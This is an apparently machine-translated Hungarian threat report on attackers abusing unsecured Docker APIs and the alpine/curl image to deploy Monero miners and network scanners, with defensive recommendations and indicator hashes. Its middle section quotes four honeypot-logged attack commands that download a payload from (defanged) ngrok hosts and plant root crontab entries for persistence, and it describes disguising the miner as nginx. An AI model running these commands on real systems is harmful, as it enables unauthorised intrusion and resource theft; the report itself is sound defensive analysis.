Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére

Elemeztük az összegyűjtött adatokat honeypot konténerekkel, amelyeket a fenyegetések nyomon követésére hoztunk létre. És jelentős tevékenységet észleltünk a nem kívánt vagy jogosulatlan kriptovaluta-bányászoktól, akiket szélhámos konténerekként telepítettek a Docker Hubon egy közösség által közzétett kép segítségével. A képet egy olyan szolgáltatás részeként használják, amely rosszindulatú kriptovaluta bányászokat szállít.

Ezenkívül a hálózatokkal való munkavégzésre szolgáló programok telepítve vannak, hogy behatoljanak a nyitott szomszédos tárolókba és alkalmazásokba.

Hozamtartóinkat úgy hagyjuk, ahogy vannak, azaz alapértelmezett beállításokkal, mindenféle biztonsági intézkedés vagy további szoftver telepítése nélkül. Kérjük, vegye figyelembe, hogy a hibák és az egyszerű sebezhetőségek elkerülése érdekében a Docker ajánlásokat tartalmaz a kezdeti beállításhoz. De a használt mézesedények konténerek, amelyeket a konténerezési platformot célzó támadások észlelésére terveztek, nem pedig a konténerekben lévő alkalmazásokat.

Az észlelt rosszindulatú tevékenység azért is figyelemre méltó, mert nem igényel sebezhetőséget, és független a Docker verziótól is. A támadóknak csak egy helytelenül konfigurált, ezért nyitott tárolókép megtalálása szükséges ahhoz, hogy sok nyitott szervert megfertőzzenek.

A lezáratlan Docker API lehetővé teszi a felhasználó számára, hogy számos műveletet hajtson végre csapatok, beleértve a futó tárolók listájának lekérését, a naplók lekérését egy adott tárolóból, az indítást, a leállítást (beleértve a kényszerített) és akár egy új tároló létrehozását is egy adott képből meghatározott beállításokkal.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
A bal oldalon a rosszindulatú programok kézbesítési módja látható. A jobb oldalon található a támadó környezete, amely lehetővé teszi a képek távoli kigörgetését.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
A 3762 nyitott Docker API országonkénti megoszlása. A 12.02.2019-i Shodan keresés alapján

Támadási lánc és hasznos teher opciók

A rosszindulatú tevékenységet nemcsak a mézesedények segítségével észlelték. A Shodan adatai azt mutatják, hogy a kitett Docker API-k száma (lásd a második grafikont) nőtt, mióta megvizsgáltunk egy rosszul konfigurált tárolót, amelyet hídként használtak a Monero kriptovaluta bányászati ​​szoftver telepítéséhez. Tavaly októberben (2018, aktuális adatok így nézhet ki kb. fordító) csak 856 nyitott API volt.

A mézescserép naplók vizsgálata kimutatta, hogy a konténerképhasználat is összefüggésben volt a használatával ngrok, egy eszköz biztonságos kapcsolatok létrehozására vagy forgalom továbbítására nyilvánosan elérhető pontokról meghatározott címekre vagy erőforrásokra (például localhost). Ez lehetővé teszi a támadók számára, hogy dinamikusan hozzanak létre URL-eket, amikor hasznos terhet szállítanak egy nyitott szerverre. Az alábbiakban kódpéldák találhatók a naplókból, amelyek az ngrok szolgáltatással való visszaélést mutatják:

Tty: false
Command: “-c curl –retry 3 -m 60 -o /tmp9bedce/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://12f414f1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp9bedce/etc/cron.d/1m;chroot /tmp9bedce sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp570547/tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d ”hxxp://5249d5f6[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d997cb0455f9fbd283”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d997cb0455f9fbd283d” >/tmp570547/etc/cron.d/1m;chroot /tmp570547 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Tty: false,
Command: “-c curl –retry 3 -m 60 -o /tmp326c80/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://b27562c1[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp326c80/etc/cron.d/1m;chroot /tmp326c80 sh -c ”cron || crond””,
Entrypoint: “/bin/sh”,

Tty: false,
Cmd: “-c curl –retry 3 -m 60 -o /tmp8b9b5b/tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed ”hxxp://f30c8cf9[.]ngrok[.]io/f/serve?l=d&r=ce427fe0eb0426d9aa8e1b9ec086e4ee”;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/crontab;echo ”* * * * * root sh /tmp/tmpfilece427fe0eb0426d9aa8e1b9ec086e4eed” >/tmp8b9b5b/etc/cron.d/1m;chroot /tmp8b9b5b sh -c ”cron || crond””,
Entrypoint: “/bin/sh”

Mint látható, a feltöltött fájlok folyamatosan változó URL-ekről töltődnek le. Ezeknek az URL-eknek rövid a lejárati dátumuk, így a lejárati dátum után nem lehet letölteni a rakományokat.

Két hasznos terhelési lehetőség van. Az első egy lefordított ELF bányász Linuxhoz (Coinminer.SH.MALXMR.ATNO), amely csatlakozik a bányászati ​​készlethez. A második egy szkript (TrojanSpy.SH.ZNETMAP.A), amely bizonyos hálózati eszközök beszerzésére szolgál, amelyek a hálózati tartományok átvizsgálására, majd új célpontok keresésére szolgálnak.

A dropper szkript két változót állít be, amelyeket azután a kriptovaluta bányász telepítéséhez használ. A HOST változó tartalmazza az URL-t, ahol a rosszindulatú fájlok találhatók, a RIP változó pedig a telepítendő bányász fájlneve (valójában a hash). A HOST változó minden alkalommal változik, amikor a hash változó változik. A szkript azt is megpróbálja ellenőrizni, hogy nem fut-e más kriptovaluta bányász a megtámadott szerveren.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
Példák a HOST és RIP változókra, valamint egy kódrészlet, amellyel ellenőrizhető, hogy nem fut-e más bányász

A bányász elindítása előtt átnevezzük nginx-re. A szkript más verziói átnevezik a bányászt más legitim szolgáltatásokra, amelyek a Linux környezetekben jelen lehetnek. Ez általában elegendő a futó folyamatok listáján szereplő ellenőrzések megkerüléséhez.

A keresőszkriptnek is vannak funkciói. Ugyanazzal az URL-szolgáltatással működik együtt a szükséges eszközök telepítéséhez. Ezek közé tartozik a zmap bináris, amely a hálózatok vizsgálatára és a nyitott portok listájának lekérésére szolgál. A szkript egy másik bináris fájlt is betölt, amely a talált szolgáltatásokkal való interakcióra és bannerek fogadására szolgál, hogy további információkat határozzon meg a talált szolgáltatásról (például annak verziójáról).

A szkript előre meghatároz bizonyos hálózati tartományokat a vizsgálathoz, de ez a szkript verziójától függ. A vizsgálat futtatása előtt beállítja a szolgáltatások – jelen esetben a Docker – célportjait is.

Amint a lehetséges célpontokat megtalálja, a bannerek automatikusan eltávolítódnak róluk. A szkript a célokat is szűri a szolgáltatásoktól, alkalmazásoktól, összetevőktől vagy platformoktól függően: Redis, Jenkins, Drupal, MODX, Kubernetes Mester, Docker 1.16 kliens és Apache CouchDB. Ha a vizsgált szerver valamelyiknek megfelel, akkor az egy szöveges fájlba kerül, amelyet a támadók később felhasználhatnak a későbbi elemzésekhez és feltörésekhez. Ezeket a szöveges fájlokat dinamikus hivatkozásokon keresztül töltik fel a támadók szervereire. Ez azt jelenti, hogy minden fájlhoz külön URL-t használnak, ami azt jelenti, hogy a későbbi hozzáférés nehézkes.

A támadási vektor egy Docker-kép, amint az a következő két kódrészletben is látható.

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
Felül az átnevezés jogos szolgáltatásra, alul pedig az, hogy a zmap hogyan használható a hálózatok vizsgálatára

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
Felül az előre meghatározott hálózati tartományok, alul pedig a szolgáltatások, köztük a Docker kereséséhez szükséges speciális portok

Hogyan használják a nem védett Docker API-t és a közösség nyilvános képeit a kriptovaluta bányászok terjesztésére
A képernyőképen látható, hogy az alpesi göndör képet több mint 10 millió alkalommal töltötték le

Az Alpine Linuxon és a curl-en, egy erőforrás-hatékony CLI-eszközön alapuló fájlok átviteléhez különböző protokollokon keresztül Docker kép. Ahogy az előző képen is látható, ezt a képet már több mint 10 milliószor töltötték le. A nagyszámú letöltés azt jelentheti, hogy ezt a képet kell belépési pontként használni; ezt a képet több mint hat hónapja frissítették; a felhasználók nem töltöttek le olyan gyakran más képeket ebből a tárból. Dockerben belépési pont - egy utasításkészlet, amellyel egy tárolót futtatni kell. Ha a belépési pont beállításai nem megfelelőek (például a tároló nyitva marad az internetről), a kép támadási vektorként használható. A támadók hasznos teher kézbesítésére használhatják, ha rosszul konfigurált vagy nyitott tárolót találnak, amely nem támogatott.

Fontos megjegyezni, hogy ez a kép (alpesi göndör) önmagában nem rosszindulatú, de mint fentebb látható, rosszindulatú funkciók végrehajtására használható. A hasonló Docker-képek rosszindulatú tevékenységek végrehajtására is használhatók. Felvettük a kapcsolatot a Dockerrel, és együttműködtünk velük a kérdésben.

Ajánlások

Helytelen beállítás maradványok állandó probléma sok vállalat számára, különösen azok számára, amelyek megvalósítják DevOps, a gyors fejlesztésre és szállításra összpontosítva. Mindent nehezít az auditálási és ellenőrzési szabályok betartásának szükségessége, az adatok titkosságának ellenőrzése, valamint az ezek be nem tartásából adódó óriási károk. A biztonsági automatizálás beépítése a fejlesztési életciklusba nem csak segít megtalálni azokat a biztonsági réseket, amelyek egyébként észrevétlenek maradnának, hanem segít csökkenteni a szükségtelen munkaterhelést is, például minden egyes felfedezett sebezhetőség vagy hibás konfiguráció esetén további szoftverösszeállításokat futtathat az alkalmazás telepítése után.

Az ebben a cikkben tárgyalt incidens rávilágít arra, hogy kezdettől fogva figyelembe kell venni a biztonságot, beleértve a következő ajánlásokat:

  • Rendszergazdák és fejlesztők számára: Mindig ellenőrizze az API-beállításokat, hogy megbizonyosodjon arról, hogy minden úgy van beállítva, hogy csak egy adott szerverről vagy belső hálózatról fogadjon kéréseket.
  • Kövesse a legkisebb jogok elvét: gondoskodjon a tárolóképek aláírásáról és ellenőrzéséről, korlátozza a hozzáférést a kritikus összetevőkhöz (tárolóindító szolgáltatás), és adjon hozzá titkosítást a hálózati kapcsolatokhoz.
  • Kövesse ajánlásokat és biztonsági mechanizmusokat tesz lehetővé, pl. a Dockertől és beépített biztonsági jellemzők.
  • Használja a futási környezetek és képek automatikus vizsgálatát, hogy további információkat szerezzen a tárolóban futó folyamatokról (például hamisítás észleléséhez vagy sebezhetőségek kereséséhez). Az alkalmazásvezérlés és az integritásfigyelés segít a kiszolgálók, fájlok és rendszerterületek abnormális változásainak nyomon követésében.

A Trendmicro segítségével a DevOps csapatok biztonságosan építhetnek, gyorsan kihelyezhetők és bárhol elindíthatók. Trend Micro Hibrid felhőbiztonság Hatékony, áramvonalas és automatizált biztonságot nyújt a szervezet DevOps folyamatában, és többféle fenyegetés elleni védelmet nyújt XGen a fizikai, virtuális és felhőalapú munkaterhelések védelme futás közben. A konténerek biztonságát is növeli Mély biztonság и Mély biztonsági intelligens ellenőrzés, amelyek a fejlesztési folyamat bármely pontján átvizsgálják a Docker-tárolóképeket rosszindulatú programok és sebezhetőségek keresésére, hogy megelőzzék a fenyegetéseket, mielőtt azok telepítésre kerülnének.

A kompromisszum jelei

Kapcsolódó hashek:

  • 54343fd1555e1f72c2c1d30369013fb40372a88875930c71b8c3a23bbe5bb15e (Coinminer.SH.MALXMR.ATNO)
  • f1e53879e992771db6045b94b3f73d11396fbe7b3394103718435982a7161228 (TrojanSpy.SH.ZNETMAP.A)

tovább Docker videó tanfolyam A gyakorló hangszórók megmutatják, hogy milyen beállításokat kell először elvégezni, hogy minimálisra csökkentsük a valószínűségét, vagy teljesen elkerüljük a fent leírt helyzet előfordulását. Augusztus 19-21-én pedig online intenzíven DevOps Tools&Cheats Ezeket és ehhez hasonló biztonsági problémákat kollégákkal, gyakorló tanárokkal egy kerekasztal mellett tudtok megbeszélni, ahol mindenki megszólalhat, meghallgathatja a tapasztalt kollégák fájdalmait, sikereit.

Forrás: will.com

Hozzászólás